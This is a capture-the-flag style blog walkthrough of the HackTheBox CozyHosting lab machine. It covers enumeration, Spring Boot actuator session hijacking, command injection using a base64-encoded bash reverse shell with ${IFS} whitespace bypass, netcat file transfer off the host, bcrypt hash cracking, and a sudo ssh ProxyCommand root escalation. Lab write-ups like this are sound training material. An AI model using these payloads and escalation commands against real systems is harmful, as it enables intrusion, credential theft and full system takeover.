Offensive-S3c: CozyHosting - HackTheBox

<Introduction>

In this blog post, I will be doing a walkthrough of the HackTheBox CozyHosting vulnerable host. I will provide a walkthrough of reconnaissance through post-exploitation. This will include performing port scanning, service enumeration, session hijacking, OS command injection, hash cracking, and privilege escalation.

If you find this content informative and you are interested in cybersecurity, please like and subscribe to the Cyb3r-0verwatch channel. Also for more free content please regularly check back on www.Cyb3r-S3c.com.

<Overview>

CosyHosting is a vulnerable host created by Commandercool. The linux OS is running a vulnerable web application and contains a variety of security misconfigurations, injection, identification and authentication failures. It was created to allow users to practice ethical hacking techniques. This virtual machine is accessible from HackTheBox.

<Active Recon: Enumerating What is Running>

I started the target host CozyHosting. After launching it usually takes less than a minute to start. As shown on the HackTheBox console the target host now has an IP. If my end goal is to exploit this host and get root, I’ll need to get an understanding of what is running on it. This will require me to start with information gathering in order to determine what ports are open and what services are running on them.

nmap -sS -p- -A -T4 -vv 10.10.11.230

There are several port scanning tools available, like masscan or rustscan. But for my active information gathering purposes, I am using nmap due to its built-in network traffic sensing capability, which tends to make scans more accurate. I ran the following command shown in the image above. In general, I always try to figure out what ports are open. I’ll usually want to scan all 65 thousand 535 ports using the -p- switch to look for services listening on non-standard ports.

<Active Recon: Analyzing the Results>

With the Nmap scan completed, I analyzed the results. Looking at the nmap scan results, nmap detected two open ports running on the target host. Port 22 (SSH), and port 80 (HTTP).

In the "Service Info" section, nmap noted the OS as Linux. Based on nmap detecting the OS as a generic linux distribution, ssh service running, and service banners showing Ubuntu this seems like a logical assessment from nmap. The first service I will look at is port 80.

<Active Recon: Manual Site Review>

Initially, when I first tried to browse to the website hosted on port 80 of the target host, I get “Server not found”. One thing I notice on most HackTheBox lab systems that host websites is that you will need to add the IP/Hostname to the Hosts file on your pentest system.

echo "10.10.11.230  cozyhosting.htb" >> /etc/hosts

To resolve this I’ll run the following command shown in the image above to add the IP/hostname to my kali’s hosts file.

After adding the IP/hostname to my kali’s hosts file, the site displayed after I refreshed.

ffuf -u http://cozyhosting.htb/FUZZ -w /home/kali/Downloads/common.txt -r true

With the site now viewable, I started to investigate the site to see what I can find. I first started by running Ffuf, as shown in the image above to crawl the site for hidden pages, while I manually reviewed the site.

Ffuf completed and found 6 pages. Index, login, admin, logout, and error. In general, I tried to run at least a couple of similar tools to verify my results while I was enumerating the target host.

dirsearch -u http://10.10.11.230 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt

To validate my ffuf results Il ran dirsearch, as shown in the image above to see if I get different results.

Reviewing the results it appeared that dirsearch did find similar results to ffuf. Dirsearch found admin, login, logout, error, and index.

<Active Recon: Manual Recon>

While ffuf and dirsearch were running, I also began manually reviewing the page source to save time.

The only thing that was worth investigating was index.html located in the page source of the main page that seemed interesting once I clicked on it.

When I clicked on index.html, I got a "whitelabel error page".

As they say, "Google is your best friend". After viewing the whitelabel error page I googled “whitelabel error page”. This told me that this error message relates to Spring Boot.

Reviewing the google results, I found the following page shown on the image above discussing whitelabel error page customization. On the same page it also referenced actuator endpoints and how the endpoints provide a lot of capabilities.

Since the actuator documentation referenced endpoints, I did a little more research on Spring Boot Actuator. I found some insightful information when I googled "Spring Boot Actuator". The information noted that you could do a lot with spring boot actuator, including configure your application. It also provided some examples of endpoints.

I decided to google search "spring boot actuator endpoints" and found this spring boot page in the image above, that listed all the actuator endpoints and how to access the actuator. Reviewing the documentation, I just need to add "/actuator" at the end of the url.

When I enter the url "http:/cozyhosting.htb/actuator", I get some interesting results. The page loads and I can see the available endpoints.

When I navigated to "/sessions", it looked like a possible session ID for someone named "kanderson". I documented the web address for later. It's always good to document everything during recon to go back later and do a more deep dive of the information you’ve gathered.

Next I reviewed "/beans" and as can be seen on the screen it exposes a lot of information about the application running on the target host.

Reviewing the information from the “beans” endpoint, I could see that the application encrypts the password using bcrypt.

There was also information regarding the application and its location on the host. I moved on to reviewing "/health", but it just displayed the health of the application.

I moved on to "/env" or environment and it displayed some information, but a majority of the information appeared to be sanitized.

The Final endpoint I reviewed was "/mappings" and it looked like there might be some interesting pages to review like "/admin".

There is always room for enumeration, but with the information I gathered, I decided to move on to testing the web app.

Based on the information I did gather, I decided to check the admin page. I just manually enter "/admin" as shown in the image above.

After hitting enter, it looked like I got redirected to the "/login" page. I reviewed the page source and there was nothing useful.

I opened the "developer tools" in Firefox and navigated to "Storage". Under "Cookies" I could see jsessionID displayed. Based off of my notes, I have what seems to be a username "kanderson" and what looks to be a sessionID.

In developers tools you can see my session in the "/sessions" endpoint, as "unauthorized" in comparison to the session that says "kanderson".

I replaced the jsession ID with the session ID I found on the "/sessions" endpoint.

Replacing my session ID with k anderson’s session ID allowed me to highjack k anderson’s session. The page loaded and it showed me logged into the Admin dashboard as "kanderson". I was also able to validate that the "/sessions" endpoint exposed user session cookies.

Reviewing the dashboard page it looked like its a vulnerability scanner of some sort. It referenced cozy scanner and appeared to be authorized to connect to other hosts using the connection settings fields on the page.

Since I have the ability to enter hostname and username for connection settings. I ran some tests, I opened burpsuite to intercept the traffic to see what info I could gain.

Originally I tried 127.0.0.1 for the hostname and k anderson for the username. When you looked at the request you could see "/executessh", along with the session ID and my input.

When I forwarded the request, I received an error message “the host was not added, host key verification failed”.

I received an interesting response when I just entered the local host 127.0.0.1.

In the response, I could see the help menu for SSH. This was an indication to me that command injection may be possible.

nc -lnvp 1234

During my command injection testing I ran a netcat listener with the command shown in the image above. -l sets netcat to listen, -n for no name resolution, -v for verbose, and -p for port.

l wanted to try a reverse shell. I found several options from Swisskyrepo’s github page, Payload All the Things. If you navigate to /Methodology and Resources then Reverse Shell Cheatsheet.md, you can find several options for a reverse shell.

bash -i >& /dev/tcp/<your host IP>/<port> 0>&1

I stuck with a basic bash reverse shell, as shown in the image above for my reverse shell payload.

Hostname: 127.0.0.1
Username: bash -i >& /dev/tcp/10.10.16.126/1234 0>&1

Now that I picked a payload, I tried running it just to see what response I get. I ran the following command shown in the image above.

When I tried to execute the command, I got an error message in the request that stated that the username cannot contain whitespaces. The username is where I entered my bash reverse shell payload. This indicated to me that I would need to encode the payload.

Since I had Payload All the Things open, I went to the Command Injection page and found the Bypass Without space section that discussed $IFS.

I googled "$IFS whitespace bypass" and found a linux restrictions bypass page on hacktrickz.

Reviewing hacktricks, I could see a reverse shell example. On the page it showed the payload had been encoded in base64 and using ${IFS} to resolve the whitespace issue.

echo "bash -i >& /dev/tcp/10.10.16.111/1234 0>&1" | base64 -w 0

Now that I had a possible way forward, I tried encoding my payload using the command shown in the image above. This command basically echos my payload, bash -i for interactive. /dev/tcp is a special file that allows me to establish network connections using the TCP/IP protocol. 0>&1 redirects the standard input to the standard output. Base64 -w 0 (zero) makes it so that it no longer adds new lines.

I ran the command and the output shows that I have the payload encoded with base64.

;echo${IFS}"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4xMjYvMTIzNCAwPiYxCg=="${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash;

I took my encoded payload "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4xMjYvMTIzNCAwPiYxCg==" and pasted it into the following command into the Username field, as shown in the image above. I encoded the reverse shell payload because it gets transported through the webapp. When I first tested my payload unencoded, it seemed to error out. Base64 encoding tends to be handled better in web requests than binary data. It should then hopefully be decoded in the target hosts cli to execute the reverse shell. l added the ${IFS} to remove all the whitespaces as noted earlier because in earlier testing. I had received an error stating the host does not like whitespaces. I add the semi-colon to let the host know where the command starts and ends.

nc -lnvp 1234

I started my netcat listener, as shown in the in the image above before hitting submit on the cozyscanner webapp.

After clicking submit, I checked netcat listener and I could see that it had caught a shell, as shown in the image above.

From the shell, it looked like I’m the "app" user, but to verify I ran the whoami command and it was verified as the "app" user.

I ran the pwd (print working directory) to see what directory I was currently in and ls -la command to see the contents of the directory. The only thing I see is cloudhosting-0.0.1.jar.

During recon I ran the cd /home command to go to the home directory. Once in /home I did an ls -la. I could see the home folder for a user named josh. I got permission denied when trying to access it.

Earlier I noticed a jar file in the /app directory. I downloaded the jar file to see if there is anything useful. I checked if netcat was installed and luckily it was.

nc -lvnp 4444 > cloudhosting-0.0.1.jar

On kali, I ran the command shown in the image above to run another netcat listener. I configure netcat to output any received data to cozyhosting.jar.

nc -w 3 10.10.16.126 444 < cloudhosting-0.0.1.jar

On the target host I ran the command shown in the in the image above. The -w tells netcat to basically wait 3 seconds. I entered my kali IP and what file I was uploading to kali.

Once I ran the command I went to the /downloads folder for verification. The jar file was uploaded to kali successfully.

(https://www.w3docs.com/snippets/java/how-can-i-open-java-class-files-in-a-human-readable-way.html) 

With the jar file uploaded to kali, I needed to figure out how to read the contents. Again, Google is your best friend, I found a page that referenced jd-gui.

I tried running jd-gui, but it was not installed. Kali asked if I wanted to install it. I clicked yes and let it install.

jd-gui cloudhosting-0.0.1.jar

I ran the command as shown in the image above to open the jar file with jd-gui.

Jd-gui opened and it looked like I had access to the contents of the jar file.

Under “BOOT-INF/classes”, I see htb.cloudhosting which looked promising.

Under “BOOT-INF/classes/htb.cloudhosting/scheduled/FakeUser.class” there a username and password. Upon further testing it was kanderson’s credentials for the cozy scanner web application. I was now able to login directly to the cozy scanner without having to do a session hijack.

Further enumeration of the jar file, I found some postgres credentials in “BOOT-INF/classes/application.properties” that looked promising. Based on the configuration info, I should be able to login to the postgres DB for further enumeration.

psql -h 127.0.0.1 -p 5432 -d cozyhosting -U postgres

Using psql, I ran the following command shown in the image above from the target host's cli. -h is for the host ip, -p for port. The postgres configuration seems to show that postgres is using the default port 5432. In the jar file it showed cozyhosting as the db. And the db user as postgres.

I get prompted for the password and I entered the password shown in the image above.

I typed \l and pressed enter. I got a list of database’s as shown on the image above. I could see a database called cozyhosting.

I typed \c to change to the cozyhosting database.

I typed \dt to view the tables in cozyhosting. I could see a hosts and users table.

I typed \d users to view what columns the users table contained. I could see the username and password columns.

I ran the ‘select * from users’ sql query to view all the information from the users table. One thing of note, make sure to type the semi-colon at the end query or the query will not run.

The command ran successfully and I was able to view the password hashes for the admin and k anderson accounts. As noted earlier, I was able to see that the passwords were hashed in bcrypt. Knowing this helped me crack the hashes.

Now that I have the hashes and know more than likely the hashes are hashed with bcrypt I moved on to cracking the hashes.

I used hashcat to crack the hashes. If you go to the examples page on hashcats wiki you can view the variety of hashes hashcat can attempt to crack, the mode number to use, and an example of what the hash looks like.

In this case, I used mode 3200 for bcrypt, as shown in the image above.

I had saved the hashes to a text file called “hashes.txt” and saved it to the downloads folder. Reviewing the hash I could see the “$2” at the beginning that validates the hashes as being bcrypt when looking at the hashcat examples page that shown bcrypt hash starting with “$2”.

hashcat -m 3200 -a 0 hashes.txt /home/kali/Downloads/rockyou.txt -O

Now that I have the bcrypt hashes, I needed to crack them. I ran the following command shown in the image above to attempt to crack the hashes.

As shown on the image above, hashcat was able to crack the admin hash as “manchesterunited”.

Now that the admin hash is cracked, I attempted to login as admin via ssh with the command shown in the image above to see if it works.

I got prompted for a password and I enter “manchesterunited”.

I got an error message “permission denied, please try again.”

Admin did not work as the user, but earlier when I was enumerating the /home directory I did see a user account named “josh”. I tried logging in as josh.

Sure enough, it looked like the hash I dumped from the postgres database was the password for the josh account. Now that I logged in as josh, I needed to do further enumeration.

I ran the ls -la command to see what was in the current directory. It looked like I could see the first flag, user.txt.

I ran the cat user.txt command to view the hash of the first flag.

I entered the hash into the hackthebox console.

I ran the sudo -l command and the output showed that the josh account was able to run ssh as root.

I navigated to GTFOBins and searched for SSH and I could see sudo was available.

sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x

When I scroll down to the sudo section I could see a command to test out.

I copied the command from GTFOBins and pasted it in the target host cli.

When I hit enter I got a hash prompt, I verified that it was a root prompt by running the ‘whoami’ command and sure enough I now had a root shell.

Now that I had a root shell, I changed directory to the /root folder.

I ran the ls -la command to see the contents of the /root folder and I could see the final flag root.txt.

I cat the root.txt file to get the root hash.

Now that I had the root hash, I entered it into the HTB console to complete this host.

<CONCLUSION>

In conclusion, I wanted to do a little more detailed walkthrough than I normally do to kind of show that there are different paths you can take when testing a host. Its like getting into the cybersecurity field, you don’t have to take the same path as everyone else, as long as you reach your goal.

In this walkthrough I highlighted a variety of techniques I was able to implement to go from reconnaissance to gaining root privileges on the target host. Executing these steps allowed me to gather the information I needed to gain a foothold on the target host through the use of session hijacking on the CozyHosting web application. Once gaining access to the web application I was able to execute command injection to gain access to the underlying OS, as the application service account. With access to the database, I was able to laterally move by dumping hashes then cracking them. Now accessing the underlying OS from a standard user account allowed me to perform further enumeration to find a workable escalation path to root by exploiting a security misconfiguration of sudo in order to gain a root shell and access the final flag.

Thank you for checking out this blog post of HackTheBox’s CozyHosting vulnerable machine. If you find this content informative and you are interested in cybersecurity, please regularly check back on the Cyb3r-S3c website. For more free content, please like and subscribe to the Cyb3r-0verwatch channel. Until next time keep learning, the only way to improve is to keep learning.

/Signing Off,

Pragmat1c_0n3